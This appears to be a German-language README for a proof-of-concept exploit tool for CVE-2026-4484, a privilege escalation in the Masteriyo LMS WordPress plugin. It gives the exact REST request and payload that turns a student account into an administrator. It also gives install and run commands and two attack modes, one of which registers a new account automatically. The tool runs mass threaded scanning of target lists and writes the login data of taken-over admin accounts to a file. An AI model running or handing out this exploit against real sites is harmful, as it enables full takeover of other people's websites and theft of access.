
Masteriyo LMS <= 2.1.6 – Fehlende Autorisierung für authentifizierte (Student+) Benutzer: Privilegienerweiterung zum Administrator
Masteriyo LMS <= 2.1.6 - Fehlende Autorisierung führt zu authentifizierter (Student+) Privilegieneskalation zum Administrator
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-4484 |
| Schweregrad | HOCH — CVSS v3.1-Wert: 8.8 |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Betroffene Software | Masteriyo-LMS-Plugin für WordPress |
| Betroffene Versionen | Alle Versionen bis einschließlich 2.1.6 |
| Schwachstellentyp | Privilegieneskalation (Rollenmanipulation) |
| Erforderliche Authentifizierung | Ja — Student-Level oder höher |
| CWE | CWE-269: Unzureichende Privilegienverwaltung |
Beschreibung:
Das Masteriyo-LMS-Plugin für WordPress ist in allen Versionen bis einschließlich 2.1.6 anfällig für Privilegieneskalation. Die Schwachstelle hat ihren Ursprung in der Funktion InstructorsController::prepare_object_for_database, die bei REST-API-Anfragen die Rollenzuweisung nicht ordnungsgemäß einschränkt. Ein authentifizierter Angreifer mit lediglich Student-Level-Zugriff kann eine speziell gestaltete POST-Anfrage an den Masteriyo-REST-API-Endpunkt senden — indem er "roles": ["administrator"] in die Anfrage-Nutzdaten einfügt — und so sein Konto stillschweigend zum WordPress-Administrator erweitern, was eine vollständige Übernahme der Website ohne jegliche administrative Interaktion ermöglicht.
Dies ist ein Proof-of-Concept-Exploit-Skript (PoC), das sich gegen WordPress-Installationen richtet, die eine verwundbare Version des Masteriyo-LMS-Plugins ausführen. Das Tool unterstützt zwei Angriffsmodi:
| Modus | Name | Ablauf | Anwendungsfall |
|---|---|---|---|
| 1 | Nx_1 | Registrieren → Anmelden → Eskalieren → Admin verifizieren | Frischer Angriff — kein bestehendes Konto erforderlich |
| 2 | Nx_2 | Anmelden → Eskalieren → Admin verifizieren | Bestehendes Konto vorhanden (Student/Dozent) |
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
Oder über die Requirements-Datei:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
Das Tool verwendet eine interaktive Terminal-Oberfläche — alle Parameter werden zur Laufzeit abgefragt.
Erstellen Sie eine einfache Textdatei (z. B. list.txt) mit einem Ziel pro Zeile:
https://target1.com
https://target2.com
http://target3.com/wordpress
Verwenden Sie diesen Modus, wenn Sie kein bestehendes Konto auf dem Ziel haben. Das Tool registriert automatisch ein neues Studentenkonto und eskaliert es anschließend.
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
Automatisch ausgeführte Schritte:
/account/signup/ → Registrierungs-Nonce extrahieren/st/ → neues Konto als Student registrieren/account/ → Login-Nonce extrahieren/wp-admin/admin-ajax.php → über Masteriyo-AJAX anmelden/account/#/dashboard → current_user_id + nonce extrahieren/wp-json/masteriyo/v1/users/instructors/{id} mit {"roles":["administrator"]}Login_admin.txt schreibenVerwenden Sie diesen Modus, wenn Sie bereits über ein gültiges Studenten- oder Dozentenkonto auf dem Ziel verfügen.
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
Automatisch ausgeführte Schritte:
/account/ → Login-Nonce extrahieren/wp-admin/admin-ajax.php → über Masteriyo-AJAX anmelden/account/#/dashboard → current_user_id + nonce extrahieren/wp-json/masteriyo/v1/users/instructors/{id} mit {"roles":["administrator"]}Login_admin.txt schreiben| Datei | Beschreibung |
|---|---|
Login_admin.txt | Alle bestätigten Administrator-Eskalationen |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
Die Funktion InstructorsController::prepare_object_for_database in Masteriyo LMS verarbeitet den Parameter roles aus dem REST-Anfragekörper, ohne zu prüfen, ob der anfragende Benutzer über die Berechtigung edit_users oder promote_users verfügt. Jeder authentifizierte Benutzer (Student-Level oder höher), der diesen Endpunkt erreichen kann, kann einen beliebigen Rollenwert übermitteln — einschließlich administrator — der dann direkt in der WordPress-Benutzermetadaten-Tabelle gespeichert wird.